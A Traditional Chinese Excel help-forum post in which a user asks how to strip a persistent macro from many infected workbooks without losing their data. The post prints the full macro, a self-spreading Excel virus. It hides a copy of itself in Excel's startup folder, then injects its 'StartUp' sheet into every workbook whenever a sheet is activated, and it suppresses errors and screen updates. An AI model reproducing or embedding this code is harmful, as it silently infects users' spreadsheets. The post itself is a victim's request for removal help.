- 帖子
- 913
- 主題
- 150
- 精華
- 0
- 積分
- 1089
- 點名
- 0
- 作業系統
- win10
- 軟體版本
- office 2019
- 閱讀權限
- 50
- 性別
- 女
- 註冊時間
- 2011-8-28
- 最後登錄
- 2023-7-19
 
|
本帖最後由 oobird 於 2012-6-1 23:31 編輯
[attach]11218[/attach][attach]11218[/attach]回復 4# HUNGCHILIN
以下是檔案中的巨集,但我將它刪除後,還是會一直出現前面所提的對話框,"1006ㄗ攣ㄘ.xls"這個檔是在對別人的電腦中,不是在我的電腦裡, 附件有三個sheet,每點選一個sheet,就會一直出現對話框. [attach]11218[/attach]
我現在想做的如下:
1) 如果一個資料夾中,我存放了很多這樣的檔,它可以只刪除巨集,但檔案保留嗎?因為是有用的資料.
2) 刪除以下指明的 "1006ㄗ攣ㄘ.xls" 我第一次關掉excel後,excel不會整個關閉,而只是像關掉檔案的情形,第二次到檢視>取消隱藏視窗,就會出現另一個對話框,如果按確認就會開出一個空白的sheet , 所以我覺得它隱藏在每個收到的檔案中
需要再按一次關閉才會真正關掉excel.- Sub auto_open()
- On Error Resume Next
- If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "1006ㄗ攣ㄘ.xls") = "" Then
- Application.ScreenUpdating = False
- ThisWorkbook.Sheets("StartUp").Copy
- ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "1006ㄗ攣ㄘ.xls")
- n$ = ActiveWorkbook.Name
- ActiveWindow.Visible = False
- Workbooks("1006ㄗ攣ㄘ.xls").Save
- Workbooks(n$).Close (False)
- End If
- Application.OnSheetActivate = "1006ㄗ攣ㄘ.xls!acop"
- End Sub
- Sub acop()
- On Error Resume Next
- If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
- Application.ScreenUpdating = False
- n$ = ActiveSheet.Name
- Workbooks("1006ㄗ攣ㄘ.xls").Sheets("StartUp").Copy before:=Worksheets(1)
- Sheets(n$).Select
- End If
- End Sub
|
|
發表於 2012-6-1 15:43
| 
